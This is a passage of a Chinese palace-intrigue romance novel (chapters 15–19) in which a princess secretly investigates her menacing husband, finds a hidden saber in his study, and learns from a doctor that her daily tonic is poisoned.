李灵见状,冲芙蕖甜甜一笑,忙伸手去拉她,“你也快来帮我挑一挑,看我适合哪一件?我看了一圈,都快要挑花眼了!”
在金缕阁足足待了一个时辰,若不是青蓉在一旁催促魏沛鸾回府,恐怕李灵还不肯离去。
-
午后,魏沛鸾小憩了一阵,再睁开眼时,天色阴沉得厉害。
魏沛鸾从卧房出去,站在廊下望着阴沉沉的天,像是突然想起什么,迟疑地抬脚往书房的方向去。
“轰隆”一声巨响,魏沛鸾吓得脚步一顿。
青蓉见她面色凝重,出声道:“王妃,打雷了,待会儿怕是要下大雨。”
穿过廊下的风是闷热的,寻不到一丝清凉。魏沛鸾望向被风吹皱的湖面,心里陡然升起一阵不安。
她疾步走到书房外,在书房外仔细打量,眼前突然闪过一个模糊的身影。
是黑夜之中,李京熠提剑的身影。
是那个梦。
天空中又传来一声巨响,紧接着,大雨密密麻麻地倾盆而下。
“王妃?”青蓉见她站在廊下,迟迟不抬脚去书房门前,便问道:“可需要奴婢上前叩门?”
魏沛鸾摇头,“不必。”
雨水乘着风斜斜地钻入廊下,溅湿她的裙摆。缭绕闷热的水雾直往人的脸上扑,她深呼吸一口气,再徐徐吐出,心却像是瞬间坠入冰窖之中。
那一夜,李京熠也在书房,他是提剑从书房里出来的。
可他为何会在大雨夜提剑杀她?
魏沛鸾望着那一扇紧闭的门,终于是抬脚上前去。
雷声与雨声太嘈杂,魏沛鸾听不清书房里的动静。
她静默一会儿,随后叩门,叫了一声他的名字。
门很快打开,是护卫屠刃。
“王妃。”屠刃向她行礼,侧身让她进来。
魏沛鸾进去书房,屠刃出去把门关上。
书房内,李京熠放下手中的笔,正抬头看向她,“下雨了,怎么这时候过来了?”
“在来时路上下起雨了。”魏沛鸾不经意似的扫视一圈书房内,一眼注意到挂在书架旁的那一把寒光凛冽的剑。
她的视线扫过剑鞘,最后落在剑柄上。
是这把剑,没错。
李京熠随着她的视线微微侧目,瞥见那一把长剑,眼底渐渐弥漫起一阵可怖的杀气。
16. 第16章
“你整日在书房里忙碌,也不知道你究竟在忙些什么。”漫不经心的一句话,她的视线自然而然地从剑鞘上滑落,随后走近书架,一一打量过,叹道:“都是一些无趣的书。”
屋外雨声渐渐重了,魏沛鸾听得心中烦闷,她蹙起眉头,泛白的嘴唇微微抿着。
李京熠静静注视着她的一举一动,凌厉的视线从她的鬓边扫过,“兵法、武学、治国之道,你应该都不喜欢。”
她转过身,嘴角隐约藏有一抹笑意,指着那把剑说道:“这把剑从未见你用过。”
“许久不上战场,这剑也就搁置了。”李京熠走到长剑前,轻笑一声道:“平日里不用,也是怕吓着你。”
“吓着我?”闻言,魏沛鸾的脸上终于绽放出笑容,她抬手抚过剑鞘,“难道,你会用这把剑伤我?”
“自然不会。”
他答得斩钉截铁,以至于魏沛鸾有些恍惚。
梦中的记忆不是假的,方才那一晃而过的景象,也不是假的。
魏沛鸾靠近他,抬头望向他,“也对,有你在我身边,何人会敢伤我呢?我自当是全心全意地信任你。”
李京熠顺势搂住她的腰身,凑近她,闻到她身上冰凉的水汽,嘴角勾起几分笑意,“你当然只能信我。”说完,李京熠作势要亲她。
魏沛鸾故作娇羞别开脸去,与他拉开距离,“若是你骗我呢?”
屋外雷声滚滚,雨声又快又急。
屋内很快暗下来,莫名盘旋起一股令人窒息的寒冷气流在暗暗涌动。
哪怕他近在咫尺,魏沛鸾也已看不清他脸上的情绪。
身姿高大挺拔的他背光站着,周身散发出来的气息几乎冷到立刻结冰。
“我骗你?”
阴森森的三个字,尾音轻飘飘的,钻入耳中仿佛在顷刻间刺穿了魏沛鸾的耳膜。
她吓得浑身一抖,不自觉退了半步。
“你不会骗我的,对吧?”
“你这么问,是何用意?”
魏沛鸾攥紧拳头,却被周遭袭来的寒冷吓到浑身发颤。她狠狠咬着下唇,认为现在不是一个好时机,她没有把握可以与之抗衡。
说不定,还会被反将一军。
她舒展开紧锁的眉头,脸上挂上一个勉强的笑容,心里格外忐忑,试着用以前的方法,“我不过是想问问你,没有其他用意,你别多想。只是我时常独自待着,一天之中有一大半的时间都见不到你。”
李京熠逼近两步,浑身阴冷的气息像一张密不透风的网,将她彻底笼罩,让她无法躲闪。阴郁到看不清神色的脸上,嘴角却浮现出一抹极浅的笑意,带着几分玩味与笃定:“小九真是离不开我啊。”
魏沛鸾心脏猛地一缩,面上却强装镇定,她笑着低下头,长睫轻颤,故作害羞地避开了那灼人的视线。
不能再在书房里待下去了,这里实在太过于安静,她要想办法尽快脱身。
她深吸一口气,脑海中迅速思索着对策。片刻后,她微微抿着唇,正欲开口时,突然一阵天旋地转,李京熠欺身而上。
他修长有力的手臂扣住魏沛鸾的腰肢,毫不费力地将她压在厚重的书桌上。桌上的笔墨砚台不堪重负,“哗啦”一声掉落在地,发出沉闷而惊心动魄的声响。
魏沛鸾震惊不已,脊背撞上冰凉的桌面,激起一阵战栗。她瞪大一双杏眼,瞳孔因惊慌而微微收缩,慌乱地望向近在咫尺的那张脸,“李京熠!你……”
剩下的话被堵在喉咙里,未尽的惊呼消融在骤然逼近的吻中。
屋外的雷雨声轰然炸响,电光撕裂长空,将室内映得忽明忽暗,伴随着断断续续的呜咽声,再听不清一句完整的话。
-
掌灯时分,魏沛鸾才从书房出来,却是被李京熠抱出来的。
她红着脸,嘴唇是红的,脖颈也是红的,就连露出来的手背,也被晕染上一片羞怯的粉红,宛如初熟的樱桃,在微凉的夜色中透着灼人的温度。
她身上的衣衫略显凌乱,发髻也有些松散,几缕青丝垂落,拂过李京熠的手臂,带来一阵细微的酥麻。
真是得不偿失啊!
魏沛鸾暗暗跟自己较劲,耳畔似乎还回荡着方才在书房里那压抑的喘.息。
雨早就停了,地上湿漉漉一片,青石板路被洗刷得泛着幽光,倒映着天边稀疏的几点星光和廊下摇曳的灯火。
李京熠抱着魏沛鸾往广寒院里去,足下无声,只偶尔踩到水洼,发出轻微的“啪嗒”声,惊起草丛里几只鸣叫的蟋蟀。
他垂眸看了一眼怀中的人,那双平日里深沉如渊的眸子,此刻倒映着她羞红的脸庞,眼底掠过一丝不易察觉的笑意,声音低沉醇厚,带着一丝餍足后的慵懒:“小九,可别闷坏了。”
魏沛鸾把脸藏在他的颈侧,鼻尖萦绕着他身上淡淡的墨香,混合着雨水的清凉,让她更是心跳如鼓,实在是害羞到不敢抬起头来。
若不是她最后求饶,指尖被他捏得生疼,估计这会儿还无法从他的书房里出来。
魏沛鸾这是第一次与他有这样亲密的举动,就如他亲吻她时一样,不温柔,十分蛮横霸道。
他的手臂坚实有力,箍得她有些发疼,却又带着不容置疑的占有欲,仿佛要将她揉进骨血里。
夜风拂过,带来一丝凉意,却丝毫吹不散她周身的燥热,她只能紧紧抓着他的衣襟,任由他将自己带入那未知的、却又令人心悸的温柔乡里。
一路被抱回到广寒院,魏沛鸾终于是长长地松了口气。
青蓉早已备下热水,等候魏沛鸾沐浴。
下过一场大雨,闷热被驱散开,吹来的微风里,终于是掺杂了一丝凉意。
思绪逐渐飘远的魏沛鸾望着被微风吹地摇摇晃晃的烛火,无故叹了口气。
正在为她擦洗胳膊的青蓉一惊,赶忙问道:“王妃,是奴婢太用力弄疼您了吗?”
回过神来,魏沛鸾垂下眸子,眼底掠过一抹忧愁,“没有。”
“但是王妃瞧着似乎不开心?”
她的确不开心,因为她不知道这样做会不会让她后悔。可为了查清真相,为了活命,这些似乎都变得不那么重要。
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“我当真看起来那么不开心吗?”这话像是在问青蓉,又像是在问自己。她缓缓抬手抚向心口处的那一块疤,疤痕很浅,淡到几乎已经看不出,可柔嫩的指腹却还能感觉到它的存在。
“王妃?”青蓉手上的动作一顿,见她捂着心口,焦急地问道:“您可是身子不适?”
她沉默着,脑海中思绪万千,过了好一会儿才开口,“我心口处的疤,你可知是怎么回事?”
“奴婢不知。”
得到这个意料之中的答案后,魏沛鸾便后悔了。
这一番对话,一定会传到李京熠的耳中。
这个问题,也只有李京熠能回答。
-
深夜,窗外淅淅沥沥地又开始下起了雨。
本就睡不着的魏沛鸾缓缓睁开眼,望着漆黑的夜,动作轻柔地翻了个身。
李京熠收紧手臂上的力,将她往自己怀里揽。
魏沛鸾已习惯他这样下意识的动作,有时候哪怕他沉睡着,只要自己一翻身,他必定会收紧胳膊,像是怕她会溜走。
“李京熠?”听着他均匀的呼吸声,魏沛鸾小心翼翼地叫了他一声。
双目紧闭的李京熠并未醒来,仿佛睡得很沉。
魏沛鸾望着窗外漆黑的夜,轻手轻脚地掀开被子,拿开他横在自己腰间的手,静静等待了一会儿,确定没有把他吵醒之后,才起身。
推开门,迎面而来一阵凉风,拂地她乌黑的发丝肆意飞舞。
转身关上门,魏沛鸾紧了紧身上的披风。
她要去书房看看,李京熠一天之中有大半天的时间都在书房里,所以那里面一定有魏沛鸾不知道的东西。
她不该这么疑心的,毕竟白日里才去查看过,并无任何不妥。可说到底,夜夜酣睡在她身侧的人要杀她,她又怎能安心?
夜晚的凉风刮得人清醒了几分,魏沛鸾这一路谨慎又小心,瞪大双眼仔细观察四周,生怕会撞见人。
若是撞见人,势必会惊醒李京熠。
行至书房门外,魏沛鸾小心翼翼地推开门进去。
屋内很暗,今夜下着雨,连月光都没有。
她从袖间摸出火折子,轻轻吹燃。
细小的火苗往上窜出,照亮眼前模糊的轮廓。
她走到书架前,再次仔仔细细地看过,还是未能发现任何可疑之处。沉思片刻,她回头望向书架对面的那一堵墙。
墙上挂着名人书画,魏沛鸾看不大懂,于是收回视线。视线不经意落在整洁的书桌上,她迟疑地在椅子上坐下,摸索着光滑的桌面,认认真真查看每一处痕迹。
突然,她的手触碰到书桌侧边的暗格,“咔哒”一声轻响,隐蔽处的暗格弹开,豁然露出里面一把黑色的长刀。
魏沛鸾一惊,迅速将火折子凑近去看。只见长刀通体漆黑,刀鞘、刀柄都是漆黑一片,似乎要与这黑夜融为一体。
凑近些再仔细去看时,她注意到刀柄上有一个印记。
一个很特别的印记。
像是一个字?
一个“影”字。
17. 第17章
影?
魏沛鸾思索半晌,这些时日,无论是在别院还是在王府,都从未在其他地方见过这个字。
这有何特别之处?
转念一想,这把长刀一定是有特别之处,所以李京熠才会将长刀藏于此书桌的暗格之中。
她回头望了一眼书架旁挂着的那一把长剑,那才是李京熠的配剑,那这一把刀是谁的?
若也是他的,为何藏在此处?
道理说不通啊。
魏沛鸾将手中的火折子放下,拿出那把长刀,好奇地抽出刀身来看。
刀出鞘时,寒光一闪,刺得魏沛鸾不适地眯了眯眼睛。
这是一把很锋利的刀,刀身并无任何花哨的纹路,普通极了,却是寒气逼人,盯着看得久了,甚至莫名地感到后背发凉。
她左看右看,实在看不出什么名堂。
无奈,魏沛鸾只好收起刀放回暗格中。
松手的一刹那,莫名觉得这把刀格外趁手。
为何会觉得趁手?
她疑惑不已,再次细细查看过暗格,除了这一把长刀之外,里面再无其他东西。
难道这书房之中藏着的,唯有这一把长刀而已?
魏沛鸾还想再仔细查看一番,但出来有些久了,她怕李京熠醒来时会发现她不在床榻之上。
如此也罢,之后若是寻得机会,再来此处便是了。
从书房出来,雨还在下。
魏沛鸾疾步往广寒院去,行至院门时,她急忙往卧房门口望了一眼,房门紧闭,看来李京熠并未发现她离开。
她松了口气,轻手轻脚地推开房门,不敢发出一丁点儿声响。
躺回到李京熠身侧,他像是有所感应似的,胳膊立刻横到了魏沛鸾的腰上,牢牢圈住,不让她动弹一丝一毫。
魏沛鸾渐渐地放缓呼吸,在确认李京熠的呼吸声依旧平稳之后,终于是慢慢地闭上了双眼。
察觉到怀里的人已经熟睡,李京熠睁开眼,凌厉的视线扫过她白皙的脖颈,眼底闪过一丝浓浓的嗜血气息。
-
一夜无梦,魏沛鸾醒来后,发现昨夜的雨已停。
她独自在广寒院用了早膳,早膳后,青蓉端来一碗汤药,说这是王爷特意嘱咐,给她补身子的汤药。
望着那一碗黑乎乎的汤药,闻着那苦涩的味道,魏沛鸾心想这应该是李灵上次带来的补药,于是便也就并未再多问,放凉后勉强喝了两口。
闲来无事,魏沛鸾依旧坐在窗前看话本。
青蓉站在一旁为她扇扇子,屋内安静极了。
手中书本翻开两页,魏沛鸾无心看书,抬头问青蓉:“王爷呢?还是在书房?”
“宫里一早派人来传话,王爷跟随内侍入宫了。”
“可有说是何事?”
青蓉摇头,如实答道:“不曾。”
既如此,这是出府的大好机会,魏沛鸾又岂会坐在这里好好看书?大不了等李京熠一回来,她再认错就是了。
青蓉见她似乎是在琢磨什么,试探着问了一嘴:“王妃,您打算做什么?”
“我带你出去逛逛。”说着,魏沛鸾冲她狡黠一笑,拔腿就往外走。
反应过来的青蓉见状,吓得惊慌失措,赶忙去拦她,“王妃,万万不可!”
“你拦不住我的,眼下李京熠不在府里,无人拦得住我。”魏沛鸾脚下生风,走得飞快,“只要我赶在李京熠回府之前回来,便什么事都没有。还有,你也不要去跟他告状,否则,他定会罚你。”
青蓉完全不听魏沛鸾在说什么话,一心只想拦住她。否则,等王爷一回府发现王妃不在府里,无论出于何缘由,一定都会重罚广寒院里伺候的人。
他们这位王爷,惩罚下人从不会心慈手软。
“王妃!您真的不能出去!”行至后门,青蓉猛地冲到魏沛鸾身前拦住她,“您若是出府,王爷一定会生气的!”
“只要你不说,他不会知道我出去过。”
“真的不行!”说着,青蓉“扑通”一声跪在地上,“王妃,您真的不能出去!奴婢求您了!奴婢求您!”
望着这一扇触手可及的门,魏沛鸾攥紧拳头,咬了咬牙,怒道:“你让开!”
“奴婢不让!”青蓉的眼里噙着泪,一副势必不让的模样,“王爷特地嘱咐奴婢,让奴婢好生照料您,您万万不可出府去。万一出了岔子,奴婢就算是有九条命,也不够王爷泄愤。”
青蓉声泪俱下,一想到后果会如何,便害怕得直发抖。
魏沛鸾望着她啪嗒啪嗒往下掉的眼泪,攥紧的拳头松了几分,“行了,你起来吧,我不出去就是了。”
她深知李京熠的脾性,所以无法纵容自己一意孤行的意愿而害得旁人落难。而李京熠也深知她的脾性,让青蓉这么一跪在她面前,她便会妥协、会让步。
魏沛鸾是个吃软不吃硬的人,这一招于她确实是有用。
她转身往回走,用帕子擦了擦额头上的细汗,余光忽然瞥见书房的方向。
书桌暗格里的那把长刀是谁的,“影”字印记是什么意思,她一定要查清楚。
既然不让她出府,那么她便将李京熠的书房翻个底朝天。
“王妃?”跟在身后的青蓉见她并不往广寒院去,连忙喊了一声,“您这是要去哪儿?”
魏沛鸾无奈地轻叹了口气,随后从容地回答道:“昨日在书房落了一支簪子,我去找找。”
青蓉擦干脸上的泪痕,声音有些抽噎,却还是不忘其本分,疑惑不已地问道:“早上替王妃梳妆时,并未发现哪一支簪子不见了啊?”
魏沛鸾皱了皱眉头,心想这青蓉还真是心细,这话居然唬不住她。于是摘下手上的玉镯藏于袖间,回过身道:“我说错了,是镯子落下了。”说着,她伸出空荡荡的手腕给她看。
见状,青蓉赶紧说道:“奴婢替您去寻吧!”
魏沛鸾摆摆手,“你在门外候着就好,李京熠不喜太多人进他的书房。”
被拒之门外的青蓉还在想王爷何时有的这个习惯时,魏沛鸾便已推门进去书房,并“嘭”地一声关上了门。
她几乎是疾步冲到了书桌前,指尖带着几分急切,探向那处隐秘的暗格机关,轻轻一按。
“咔哒”一声轻响,暗格应声弹开。
然而,呈现在她眼前的,却是一片空荡。
那把昨夜分明还静静躺在其中的长刀,此刻竟已荡然无
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存。
怎会如此?
魏沛鸾心头猛地一沉,一股寒意顺着脊背悄然攀爬。她不甘心地伸出手,在空荡的暗格里反复摸索,指尖触碰到的只有冰凉的木壁,确信里面真的什么都没有。
昨夜,明明还在的。
这刀为何会凭空消失?
难道,李京熠发现她昨夜来过书房,所以今早拿走了那把刀?
不,若果真如此,李京熠应该不会这么不声不响地拿走,应该会质问她才对。
可要说那把刀凭空消失,又如何说得过去?
刀是死物,不会凭空消失。
唯一的可能,便是有人拿走了。
而这里是李京熠的书房,只有一个可能,那便是李京熠拿走了那把刀。
想到这里,魏沛鸾惊出一身冷汗。
既如此,那他是发现了她来过,还是并未察觉?
无论真相如何,此刻还是谨慎一些为好。
除了书房里,王府之中是否还有其他密室或暗道?
若是有,又藏着什么不为人知的秘密?
带着满心的疑云与不安,魏沛鸾悄然离开了书房。
“王妃,找到了吗?”青蓉赶紧迎上去。
掩藏掉眼中的情绪,魏沛鸾点点头,转身往广寒院去。
她不能青天白日里在王府中四处搜寻密室暗道,这样奇怪的举动,势必会引起小厮丫鬟们的怀疑。
毕竟王府里除她之外,所有人都是李京熠为了困住她而安排的眼线,就像之前在云隐别院时一样。
看来,还是得趁着夜深人静时,她才有机会在院中查探一番。
一晃已至午时,王府大门外依旧静悄悄的,无人来通传李京熠是否已经回府。
这不禁让魏沛鸾纳闷,既然李京熠已辞去朝堂上的官职,皇帝又为何还要宣他入宫?且已待了这么长时间,还不见人回来。
魏沛鸾是在等他,也不是在等他。
主要是为了等他一个态度,只要一见到他,便一切都会明朗。
直至傍晚时分,李京熠才回来。
魏沛鸾已苦等一日,在见到他时,先是细细打量了他一番,在确认他毫无异样之后,才一副故作生气的模样迎上去。
“王爷真是让人好等啊!”
李京熠看起来心情很好,笑着一把将她搂入怀中,半开玩笑道:“小九这是气我回来晚了?”
魏沛鸾轻哼了一声,表示自己正在生气。
呼吸之间,有一股淡淡的血腥味弯弯绕绕地钻入鼻间,魏沛鸾垂眸,在他的衣袖处瞥见两滴血迹。
看样子,血迹是新鲜的,还未干。
魏沛鸾面上情绪不显,继续问:“你既已不问朝堂事,陛下为何还宣你入宫?而且,还留你这么久?”
李京熠松开她,牵着她的手往卧房里去,“也不是什么要紧事,只是陛下与我许久未见,留我在宫中下棋。”
自知被糊弄的魏沛鸾侧目看他,自然是不信他的这些鬼话。
既然是与皇帝下棋,衣袖上又为何会沾染血迹?
更何况,今日屠刃也不在府里。
瞧这情形,他们是去杀人了。
杀的谁?
18. 第18章
闻听此言,魏沛鸾故作生气,用力抽回自己的手,满脸不高兴,“是下棋重要,还是陪我重要?若是下棋重要,那以后你便日日入宫去陪陛下下棋吧!这王府里要我这个王妃做什么?岂不是碍你的眼?”
“小九,别气坏了身子。”李京熠耐着性子哄她,语气温柔得不行,“只此一次,下不为例。”
魏沛鸾气得“哼”了一声,背过了身去,心中猜测李京熠应是并未发现她昨夜去过书房。若是他已发现,难道此时此刻会装作毫不知情与她对话?
可若是他已发现,并且还装作若无其事的样子,那才叫骇人。
那么,他的真实目的是什么?
为了她,演这么大一出戏,究竟是为什么?
李京熠对一旁的青蓉抬手,示意传晚膳。
青蓉出去后,李京熠扣住魏沛鸾的双肩,让她看着自己,笑道:“好了,别气了,以后我多陪陪你。哪怕你烦我、恼我,我也会一直在你身边。”
这话说得格外温柔动听,毫无防备的魏沛鸾差一点就要动摇。不过冷静下来转念一想,他是这样可怕的人,演戏于他而言,自然是手到擒来。
说的这些话里,能有几分真?
“我现在便很烦你。”魏沛鸾推开他,转身去凳子上坐下,“你只会说这些好听的话哄我,你以为我想听吗?”
李京熠的嘴角隐约浮现出一抹笑意,随后不经意似的说道:“若是小九还不肯消气,那我今晚去睡书房好了。”
闻言,魏沛鸾心里“咯噔”一声,此刻从他口中听到书房二字是何意?当真是无意提起?还是意有所指?
思索过后,魏沛鸾顺着他的话接下去,“你想去便去,我又不拦你。”
那一颗鼻尖痣因她皱眉而被微微扯动,李京熠的眸光一沉,望向她时,捕捉到她躲闪不及的那一丝惊慌,“小九是个口是心非之人。”
“我可不是口是心非。”魏沛鸾心里有些心虚和慌乱,不知他现在是否是在试探,“我说的可是真的。”
李京熠轻笑一声,目光微微垂落。
恰巧这时候青蓉传膳来,骤然打断了他们之间的对话。
心中依然有些忐忑的魏沛鸾转过身去,端上茶杯饮下半杯水,突然瞥见青蓉放在她面前的那碗药。
汤药热气腾腾的,散发着难闻的苦涩气味。
魏沛鸾伸手把碗推远了些,转头去问李京熠:“这既然是补品,为何会这么苦?难喝得很,可以不喝吗?”
“良药苦口,补药自然也是这个道理。”李京熠笑着回答,面上满是从容。
魏沛鸾不高兴似的撇撇嘴,扑闪着一双亮晶晶的大眼睛望着他,“可是早上已经喝过了,晚上能不喝吗?”
“可不许讨价还价。”李京熠拿上筷子为她夹菜,“先吃饭。”
苦涩的药味拼命往她的鼻子里钻,本就没胃口的魏沛鸾实在无心用晚膳,不过是草草吃了两口。
李京熠对此并未多言,那碗药却是逼她喝了个干干净净。
-
魏沛鸾本想趁着夜色在王府中查探一番,可不知怎么的,这几晚总是一觉睡到大天亮,期间完全不会醒来。
她睡得很沉,有时竟会睡到日上三竿才起。
除此之外,身体倒是无明显不适。
这很是反常,魏沛鸾不禁疑心起来。
她仔细回想这几日都做了些何事,食用了些何物。思来想去,问题便出在那一碗汤药上。
汤药已经连着喝了四五日,早晚各一碗。有时是青蓉站在一旁劝她喝,有时是李京熠亲自喂她喝。
这很奇怪。
难道,这便是她嗜睡的根本原因所在?
这么想着,坐在铜镜前的她不由得打了个哈欠。
青蓉正在为她梳头,见她这副模样,笑道:“王妃这几日似乎怎么也睡不够,奴婢总是要唤您好几声,您才肯睁开眼。”
“有四五日了吧?”魏沛鸾问。
青蓉点点头,“是。”
如此看来,便是那补药的问题。
但那药是李京熠让她喝的,所以这样看来,是李京熠有意为之。
要想自救,首先便是要找大夫来瞧一瞧。并且,还不能被旁人知晓,她得悄悄地去。但这不是一件易事。
自从那一日之后,李京熠当真常常待在王府里。他去书房的时间也少了很多,有时会一整天都在她身旁,像是故意守着她。
屋外艳阳高照,魏沛鸾眯着眼睛从窗内往外看去,琢磨着该用一个什么样的由头出府去。
理由还没想好,她便远远地看见李京熠从院外走来了。
魏沛鸾掩藏掉眼中的疲惫,嘴角挂着一抹恰到好处的得体笑意,静静地看着他跨入门槛,才不疾不徐道:“这一大早的,王爷这是打哪儿来啊?”
“小九是在责怪我没陪着你?”面对她的质问,李京熠并未有丝毫不悦,而是笑着接话道。
“我可没这么说。”瞧见他心情似乎不错,魏沛鸾便可以板起脸,嗔道:“你少往自己脸上贴金。”
李京熠失笑,眉眼间满是宠溺,“看来是我自作多情了。”
瞧着他眼里的笑意,魏沛鸾起身走到他面前,语气软了下来,“府里实在闷得很,我想出去走走。”
“为何?”闻言,李京熠脸色一沉,眼中闪过一丝不易察觉的警惕。
这话提起的时机不对,魏沛鸾微微抿嘴,一副委屈到欲哭的模样,“我整日在这王府里,都快要闷出病来了。你瞧瞧我这脸色,是不是比起从前难看许多?”
李京熠眼底的阴郁在瞬间散开,抬手轻抚她的脸颊,柔声道:“哪有?小九与从前想比,分明是更美了。”
“哼!”见说不通,魏沛鸾气得背过身去,声音里带着一丝哽咽,“行吧!你不让我出去我便不出去。我一直待在这儿,生老病死都不出去,可遂了你的心意?”
“好端端的,怎么说起这样的气话来了?”李京熠无奈地叹了口气。
“是你气着我了。”魏沛鸾转过身,眼眶微红,语气却依旧倔强。
李京熠哑然失笑,伸手将她揽入怀中,“小九今日是怎么了?为何气性这么大?看来,我是必须答应小九的请求了?”
闻言,魏沛鸾一挑眉,眼中闪过一丝狡黠,他这么问,是不是代表他马上就要答应了?于是赶忙竖起耳朵认真听着。
“不如我与小九一同出府吧。”
进退两难的魏沛鸾只好不情不愿地点点头,既是与他一同出门,那么她便无法去医馆找大夫为自己诊治,更无法接触到外人。
看起来是他让步,实则他一点都没松手。
李京熠岂会不知她要做什么?自然是不会让她寻得机会察觉到半分异样。
出门时,李京熠说要乘车出行,魏沛鸾毅然决然地拒绝。
若是乘车,接触到外人
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的机会不就更少了?
在王府大门前僵持了约莫半刻钟,自然是李京熠率先败下阵来。
魏沛鸾也不肯戴帷帽,见青蓉转身回去拿帷帽,拔腿就往府外走。
李京熠连忙跟上,害怕她一扎进人堆里就不见了。
“慢些!”好不容易抓住她的手,李京熠无奈叹了口气,“街上人多,当心撞着你。”
“放心吧,有你在我身边,谁敢近我的身?”说着,魏沛鸾冲他甜甜地笑笑,“你瞧瞧你,这么严肃做什么?旁人不知道的话,还以为你要去杀人呢。”
话音一落,李京熠的瞳孔骤缩。
他眯起眼睛去打量魏沛鸾,循着她的视线将街道上的行人和摊贩打量一圈,未发现何人有异,这才松懈半分。
街道上人头攒动,道路两旁的摊贩叫卖声此起彼伏,热闹得很。
魏沛鸾自走到大街上开始,便在寻机会摆脱李京熠。
漫无目的地往前走,路过一家书局时,魏沛鸾余光一瞥,突然瞥见程敬之在里头,这不禁吓得魏沛鸾一身冷汗。
若是被李京熠发现,恐怕他会认为是她与程敬之提前约好在此处碰面。
这有嘴都说不清的误会,魏沛鸾自然是疾步离开。
“小九,走这么急做什么?”
日头正烈,青石板路被晒得发烫,蒸腾起一股燥热的气息。魏沛鸾脚步未停,只随意扬了扬手,“天热得很,我去前头的茶摊歇歇脚。”
街角那处茶摊,竹棚下的桌椅已被来往行人占了大半,唯余一张空桌孤零零地立在角落。她快步走去坐下,指尖触到粗糙的木桌,下意识便朝书局的方向瞥了一眼。
此处位置极佳,既能避人耳目,又能将书局门口的情形尽收眼底。若程敬之从书局出来,想必不易察觉她的存在。
李京熠随之落座,修长的手指执起茶壶,为她倒了一杯热茶,“才出来不到一刻钟便要寻地方休息,看来小九还是适合待在王府里。”
趁此机会说这话,魏沛鸾自然猜得到他是何心思,于是不悦地撇嘴,“坐在王府喝茶与坐在这儿喝茶,那自然是全不一样的体会。”
“哦?如何不同?”李京熠挑眉,嘴角有一抹似有似无的笑意。
魏沛鸾目光扫过街道上熙熙攘攘的人群,端起茶杯抿了一口热茶,一本正经地回答道:“王府里会有这么多人来来往往吗?能听到这此起彼伏的叫卖声吗?更别提,有这么快活吗?”
话音落下,魏沛鸾便抬眼仔细瞧着他脸上的神色。以往她说这话,李京熠必定会恼怒。
然而此刻,他面色如常,波澜不惊,仿佛她说的不过是一句无关紧要的玩笑话。
果然是个极擅伪装的人。魏沛鸾心中暗暗想到。
难不成是因为身处大街,他才不得不隐忍着?
正胡思乱想着,一个身影匆匆穿过人群。
是屠刃。
他径直走到李京熠身侧,低声耳语了几句。
街上人声嘈杂,哪怕离得这么近,魏沛鸾也没听清半个字。但她清楚地看见李京熠的眉头轻微地皱了一下,似乎听得到是一个很不好的消息。
随后,李京熠起身对她说道:“小九,眼下我有要事,先行离去,待会儿你与青蓉回府,不要在外逗留太久。”
魏沛鸾瞧见他们这副神神秘秘的样子,面上一副满不高兴的模样,“走吧走吧,反正你也未必是真心想陪我。”
19. 第19章
瞧见李京熠的身影彻底消失在街角,魏沛鸾终于是松了口气,嘴角忍不住要扬起一抹笑意。
但青蓉还在她身侧,她只得强压住心头的雀跃,端起茶盏,硬生生将那盏茶水饮尽,才缓缓起身。
眼下最要紧的,是寻个医馆探听虚实。
可青蓉如影随形,她该如何脱身?
日头毒辣,魏沛鸾额角渗出细密的汗珠,浸湿了鬓边的碎发。她初到北苍城不久,出王府的次数屈指可数,对城中何处有医馆更是两眼一抹黑。
看来,只能凭运气四处碰碰了。
漫无目的地走了约莫一刻钟,就在她心焦如焚之时,街角终于豁然出现一块“妙手回春”的招牌。
“哎呀!”
魏沛鸾惊呼一声,声音不大不小,恰好能引起青蓉的注意。
果不其然,青蓉见她面色煞白,立马凑近,关切地问:“王妃,您怎么了?”
“我的帕子不见了。”说着,魏沛鸾不动声色地将早已捏在指尖的帕子滑入袖间,面上却是一副惊慌失措的模样,“定是方才落在茶摊上了,你快去寻!我在此处等你,莫要惊动旁人。”
“好。”青蓉未起疑心,转身便匆匆折返。
见青蓉的身影彻底消失在拐角,魏沛鸾敛起裙摆,疾步走进医馆。所幸此时馆内人迹寥寥,她很快便坐到了一位须发皆白的老大夫跟前。
老大夫枯瘦的手指搭上她的脉门,眉头忽地紧锁,浑浊的眼中闪过一丝惊疑,随后将她上上下下、仔仔细细打量一番。
“这位夫人的脉象……”老大夫沉吟片刻,声音压得极低,“很是奇怪啊。”
魏沛鸾心下一沉,哪有闲心听他卖关子,指尖微微收紧,急切道:“大夫,您只管挑要紧的说。”
老大夫点点头,知无不言似的说了好些话。
魏沛鸾越听脸色越难看,赶在青蓉回来之前,拔下发间一支簪子当做诊费,疾步走出了医馆。
走出医馆不过一会儿,魏沛鸾便瞧见青蓉气喘吁吁地跑回来了,“请王妃恕罪!奴婢将茶摊里里外外找了两圈,都未找到王妃的帕子。”
魏沛鸾将眼中的沉闷扫开,随后摇头浅笑道:“罢了,只是一块帕子而已,丢了便丢了,还难为你跑一趟。”
青蓉连连摇头,惶恐道:“王妃这是说的哪里话?这些都是奴婢分内之事。”
日头越来越晒,她已没有闲心再在大街上逗留。
但,也不愿回到那一座牢笼之中去。
这些天喝的药的确有问题,除了会让她嗜睡之外,这其中还有一味慢性毒药。由于时间紧迫,老大夫并未能解出那是何种毒药。
果不其然,李京熠虽然明面上不杀她,暗地里却还是对她堤防有加。
除了这一味毒药之外,她还中了一味天麻散。
天麻散会让习武之人筋脉寸断,无法再习武练剑。对此,魏沛鸾却是有些疑惑。
难道,自己之前会武?
否则,李京熠为何要给她服用这样一味毒药?
知道的越多,脑海中的疑问便越多。
李京熠欺骗了她,不会与她坦诚相待。父亲对她态度冷漠,想必不会愿意收留她。阿姐在宫中,那是爱莫能助。况且,她对自己的态度也算不得亲近。
唯有还未见过面的兄长,但,可以指望他吗?
算了,想来也是指望不上的。毕竟有父亲在,他们两个都不会帮她的。
更况且,按照眼下的情形来看,自己真的是魏府三小姐吗?
若是,李京熠为何敢杀她?
父亲应当知晓此事,又为何袖手旁观?
若不是,那么她究竟是谁?
会与那把消失的长刀有关吗?
梦中的那个雨夜,自己手里是否拿了一把长刀?
记不清了。
“端王妃?”
身后突兀地响起一个耳熟的声音,魏沛鸾的脚步一顿,转过身去。
“二公子。”
程敬之疾步走到她面前,脸上是藏不住的欣喜,随后递给她一方帕子,“手帕掉了。”
魏沛鸾没有立即伸手去接,而是瞥了一眼手帕上的样式,再往空荡荡的袖间探去,没想到帕子真的掉了。
何时掉的?
